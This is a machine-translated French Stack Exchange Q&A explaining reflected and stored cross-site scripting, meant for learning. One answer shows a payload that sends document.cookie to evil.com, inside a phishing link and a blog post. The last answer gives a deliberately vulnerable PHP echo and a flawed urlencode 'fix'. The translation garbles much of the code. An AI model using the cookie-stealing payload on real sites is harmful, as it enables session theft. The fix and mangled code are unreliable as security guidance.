Question:
Qu'est-ce que Reflected XSS?
user3273796
2014-08-11 21:39:29 UTC
view on stackexchange narkive permalink

Marre de la définition suivante.

Les attaques reflétées sont celles où le script injecté est reflété sur le serveur Web, comme dans un message d'erreur, un résultat de recherche ou toute autre réponse qui inclut tout ou partie de l'entrée envoyée au serveur dans le cadre de la demande. Les attaques réfléchies sont transmises aux victimes via une autre voie, par exemple dans un message électronique ou sur un autre site Web. Lorsqu'un utilisateur est amené à cliquer sur un lien malveillant, à soumettre un formulaire spécialement conçu ou même à simplement naviguer sur un site malveillant, le code injecté se rend sur le site Web vulnérable, ce qui reflète l'attaque dans le navigateur de l'utilisateur. Le navigateur exécute alors le code car il provient d'un serveur "de confiance"

Quelqu'un peut-il m'expliquer avec un exemple. Et quelle est la principale différence entre Reflected XSS et Stored XSS?

Après avoir lu la réponse, relisez la description ci-dessus, tout sera effacé.
Cinq réponses:
Greg
2014-08-12 23:23:57 UTC
view on stackexchange narkive permalink

Disons que vous accédez à www.example.com/page?main.html et que cela vous place sur la page principale de example.com. Vous accédez maintenant à l'index, qui se trouve à l'adresse www.example.com/page?index.html. Vous commencez à vous demander quelles sont les autres pages?

Donc, vous tapez www.example.com/page?foo et appuyez sur Entrée, et vous obtenez une page d'erreur qui dira quelque chose comme "La ressource foo est not found ".

La chose à noter ici est que vous avez mis un paramètre dans l'URL, et que ce paramètre vous a été renvoyé en tant qu'utilisateur. Dans ce cas, c'était le paramètre "foo".

L'idée derrière le XSS réfléchi devrait maintenant être un peu plus claire; au lieu de saisir un paramètre boiteux comme "foo", vous saisissez quelque chose comme <script>alert (1) < / script>foo et appuyez sur Entrée. Sur un site vulnérable, tout ce paramètre sera injecté dans la page d'erreur qui apparaîtra, le javascript s'exécutera et vous obtiendrez une fenêtre contextuelle en plus du message "Resource foo is not found". Si vous pouvez amener quelqu'un d'autre à naviguer vers le même lien que vous avez créé, vous pouvez exécuter du javascript arbitraire dans sa session.

C'est une explication très claire, bravo pour la bonne écriture!
John Downey
2014-08-11 22:05:56 UTC
view on stackexchange narkive permalink

Reflected XSS

J'envoie à une victime un lien vers http://example.com/page?var=<script>alert('xss')</script> et quelque part sur la page dont la valeur est renvoyée à la victime. La valeur est uniquement sur la page s'ils suivent mon lien spécial.

L'inconvénient de ce type est que je dois spécifiquement attaquer une victime ou un groupe de victimes sur lesquels je peux cliquer sur un lien. Il peut être difficile de faire en sorte qu'une autre personne suive votre lien.

XSS stocké

Je trouve un moyen de faire en sorte qu'un site Web persiste <script>alert ('xss') < / script> pendant un certain temps, peut-être dans la base de données. Ensuite, je peux envoyer la victime à http://example.com/page et il lit la valeur de la base de données et la présente à la victime.

L'avantage de ceci type est qu'il attaquera tous ceux qui consultent la page.

jaybrau
2015-10-31 04:20:34 UTC
view on stackexchange narkive permalink

Pour les deux types de XSS, considérez un extrait de code javascript comme ceci:

  <script>window.location = 'http: //evil.com/? victimcookie =' + document.cookie< / script> 

Si un pirate informatique peut obtenir ce rendu sur un autre site, il peut collecter tous les cookies utilisateur pour toute victime qui charge une telle page sur ce site. Reflected XSS et Stored XSS (ou Persistent XSS) sont deux méthodes différentes pour faire apparaître ce script sur un site vulnérable.

  • Reflected XSS - le script lui-même est transmis en tant que paramètre de requête à une partie vulnérable du site, et le site rend le javascript sur la page.
  • XSS stocké - le javascript est stocké de manière déviante dans la page elle-même sur une base à long terme.

Exemple XSS reflété

Je suis un hacker et j'envoie un e-mail d'hameçonnage avec le corps suivant.

Vérifiez ceci : http://weak-site.com/search?keyword=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fevil.com%2F%3Fvictimcookie%3D%27%2Bdocument.cookie%3C % 2Fscript% 3E

où la valeur du paramètre de mot-clé est décodée en l'extrait de code javascript ci-dessus. Lorsque la victime clique sur le lien, low-site.com affiche une page avec le script intégré. Le navigateur redirige la victime vers le site du pirate et délivre le cookie de la victime depuis le site faible-site.com.

Exemple XSS stocké

Je suis un hacker et Je crée un article de blog sur low-site.com avec le contenu suivant:

  LOL: p. <script>window.location = 'http: //evil.com/? Victimcookie =' + document.cookie< / script>  

Si le site rend mon message intact, je peux collecter la valeur de cookie de chaque utilisateur qui consulte mon message.

Mais comment un cookie envoyé d'un domaine à l'autre?
Maintenant, cet exemple d'envoi de la valeur du cookie à une autre URL ne fonctionnera que si le cookie n'est pas marqué comme httponly, n'est-ce pas?
@ilans - Le contenu de low-site.com demande au navigateur du client d'envoyer le cookie faible-site.com à evil.com sous la forme d'un paramètre GET.
@IainDuncan - Certes, le navigateur ne pourra pas du tout résoudre la valeur de document.cookie si le cookie a été marqué HttpOnly et le navigateur prend en charge HttpOnly.
Bryan Geraghty
2014-08-12 21:29:49 UTC
view on stackexchange narkive permalink

Une explication très simple:

XSS reflété : la charge utile de l'attaque est incluse dans un paramètre lorsque la victime suit une URL vers le site.

XSS stocké : la charge utile de l'attaque est stockée sur le site lui-même et lorsque quelqu'un visite la page, quelle que soit l'URL suivie, l'attaque s'exécute.

Vaibs
2017-05-09 21:35:37 UTC
view on stackexchange narkive permalink

Mieux vaut donner des exemples au lieu d'écrire.

POC XSS réfléchissant

  <? php / ** * @Author Vaibs * * / $ cookie_name = "user"; $ cookie_value = "John Doe"; setcookie ($ cookie_name, $ cookie_value, time () + (86400 * 30), "/"); // 86400 = 1 dayif (isset ($ _ REQUEST ['Submit'])) {// vérifier si le formulaire a été soumis $ input = isset ($ _ REQUEST ['appid'])? $ _REQUEST ['appid']: ""; // get input text echo "L'entrée du client est reflétée comme ->:". $ Entrée;?} Type ><html><body><form> <input = nom "texte" = "appid" / > Type <input = "submit" name = "Soumettre" / >< / form>< / body>< / html>  

Comment éviter ? Réponse: Le plus simple est d'utiliser la fonction PHP urlencode.

  <? Php / ** * @Author Vaibs * * / $ cookie_name = "user"; $ cookie_value = "John Doe"; setcookie ( $ nom_cookie, $ valeur_cookie, heure () + (86400 * 30), "/"); // 86400 = 1 dayif (isset ($ _ REQUEST ['Submit'])) {// vérifier si le formulaire a été soumis $ input = isset ($ _ REQUEST ['appid'])? $ _REQUEST ['appid']: ""; // get input text echo "L'entrée du client est reflétée comme ->:". urlencode ($ entrée);?} Type ><html><body><form> <input = nom "texte" = "appid" / type > <input = "submit" name = "Soumettre" / >< / form>< / body>< / html>  

La différence est l'utilisation de la fonction urlencode qui a été utilisée dans le deuxième code.



Ce Q&R a été automatiquement traduit de la langue anglaise.Le contenu original est disponible sur stackexchange, que nous remercions pour la licence cc by-sa 3.0 sous laquelle il est distribué.
Loading...